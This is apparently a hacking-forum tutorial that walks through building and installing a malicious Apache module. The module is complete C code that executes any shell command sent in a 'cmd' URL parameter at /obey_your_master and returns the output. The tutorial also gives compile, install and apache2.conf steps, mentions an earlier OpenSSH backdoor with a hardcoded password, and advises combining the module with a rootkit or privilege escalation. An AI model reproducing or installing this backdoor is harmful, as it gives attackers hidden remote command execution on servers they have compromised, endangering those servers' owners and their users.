Backdooring Apache HTTP server
Introduction
A few days ago I posted a tutorial about Backdooring OpenSSH-server in which we downloaded the source code of OpenSSH and edited the source code so that it would always accept the password master_of_puppets
, we backdoored software that is meant for managing servers, now I want to open your mind and show that you can also backdoor software that wasn’t necessarily meant for server management and show you another way of backdooring software - writing modules.
What is Apache HTTP server?
Apache HTTP server is open-source software used to host web pages.
Why Apache?
According to netcraft, Apache has the largest “Market share of active sites” that means it’s commonly used so if you gain access to a server that hosts websites it will most likely use apache.
What exactly are we going to do?
- Download apache’s development headers
- Create our own module that will take requests like
/obey_your_master?cmd=<some command here>
and print out the output of our commands - Install the module
The process
Installing apache’s development headers
Since I’m on Debian I’ll be using the aptitude package manager
apt-get install apache2-dev
Writing the module
Let’s create a separate directory for our project and start writing code in our favourite text editor (I’ll use nano)
mkdir bd_module
cd bd_module
nano bd_module.c
So the first thing we need to do is include apache’s headers:
#include <stdio.h>
#include "apr_hash.h"
#include "ap_config.h"
#include "ap_provider.h"
#include "httpd.h"
#include "http_core.h"
#include "http_config.h"
#include "http_log.h"
#include "http_protocol.h"
#include "http_request.h"
Now’s the fun part, let’s write the handler for our module, this is the function that will handle our request.
In our handler we’ll check if we should handle the request, get the cmd variable from the URL, if cmd is not specified we’ll set it to the command uname -a
that gives us a bunch of information about the OS, than execute the command and print the output as a response.
static int oym_handler(request_rec *r)
{
if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code
/* Variables */
apr_table_t*GET; // Create a var table
ap_args_to_table(r, &GET); // Read data from get
FILE *fp; // We'll use this for popen
char buff[1024]; // Buffer for output
ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text
/* Get the "cmd" key from the query string, if any. */
const char *cmd = apr_table_get(GET, "cmd");
/* If no key was returned, we will set a default value instead. */
if (!cmd) cmd = "uname -a";
/* Open the command for reading. */
fp = popen(cmd, "r");
if (fp == NULL) {
ap_rprintf(r, "Failed to run command\n");
return OK;
}
/* Read the output a line at a time - output it. */
while (fgets(buff, sizeof(buff)-1, fp) != NULL) {
ap_rprintf(r, "%s", buff);
}
return OK;
}
Now let’s register and declare our hook
static void register_hooks(apr_pool_t *pool)
{
ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST);
}
module AP_MODULE_DECLARE_DATA bd_module =
{
STANDARD20_MODULE_STUFF,
NULL, /* Per-directory configuration handler */
NULL, /* Merge handler for per-directory configurations */
NULL, /* Per-server configuration handler */
NULL, /* Merge handler for per-server configurations */
NULL, /* Any directives we may have for httpd */
register_hooks /* Our hook registering function */
};
And let’s put it all together:
#include <stdio.h>
#include "apr_hash.h"
#include "ap_config.h"
#include "ap_provider.h"
#include "httpd.h"
#include "http_core.h"
#include "http_config.h"
#include "http_log.h"
#include "http_protocol.h"
#include "http_request.h"
/*
==============================================================================
Our module handler:
==============================================================================
*/
static int oym_handler(request_rec *r)
{
if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code
/* Variables */
apr_table_t*GET; // Create a var table
ap_args_to_table(r, &GET); // Read data from get
FILE *fp; // We'll use this for popen
char buff[1024]; // Buffer for output
ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text
/* Get the "cmd" key from the query string, if any. */
const char *cmd = apr_table_get(GET, "cmd");
/* If no key was returned, we will set a default value instead. */
if (!cmd) cmd = "uname -a";
/* Open the command for reading. */
fp = popen(cmd, "r");
if (fp == NULL) {
ap_rprintf(r, "Failed to run command\n");
return OK;
}
/* Read the output a line at a time - output it. */
while (fgets(buff, sizeof(buff)-1, fp) != NULL) {
ap_rprintf(r, "%s", buff);
}
return OK;
}
/*
==============================================================================
The hook registration function:
==============================================================================
*/
static void register_hooks(apr_pool_t *pool)
{
ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST);
}
/*
==============================================================================
Our module name tag:
==============================================================================
*/
module AP_MODULE_DECLARE_DATA example_module =
{
STANDARD20_MODULE_STUFF,
NULL, /* Per-directory configuration handler */
NULL, /* Merge handler for per-directory configurations */
NULL, /* Per-server configuration handler */
NULL, /* Merge handler for per-server configurations */
NULL, /* Any directives we may have for httpd */
register_hooks /* Our hook registering function */
};
Compiling our module
apxs -c bd_module.c
Installing our module
On a system that has apache’s development headers installed you can install modules using apxs (-i installs the module) (-a enables it) module_name
apxs -i -a bd_module.la
But face it: installing apache’s development headers for all the systems you own is just stupid, lets do the install the manual way!
First we have to copy our module to the modules directory:
cp .libs/bd_module.so /usr/lib/apache2/modules/
Now we have to add LoadModule
and <Location>
directives to apache’s configuration file
So let’s open the config file
nano /etc/apache2/apache2.conf
And add these lines:
LoadModule bd_module /usr/lib/apache2/modules/bd_module.so
<Location "/obey_your_master">
SetHandler obey_your_master-handler
</Location>
And the final step is to restart apache:
systemctl restart apache2
Testing our module
Fire up your browser and navigate to some_sites_address/obey_your_master
And it works!
And we are done here!
Final notes
Congratulations on making trough!
I commented the code and left the comments from the example I totally ripped off from apache’s documentation(link is with the sources), but if you still don’t understand something please reply to this thread and ask :)
This backdoor executes commands as the user that is configured to run apache so this backdoor should be used with a rootkit or some other method of privilege escalation:
Thanks for reading my tutorial! <3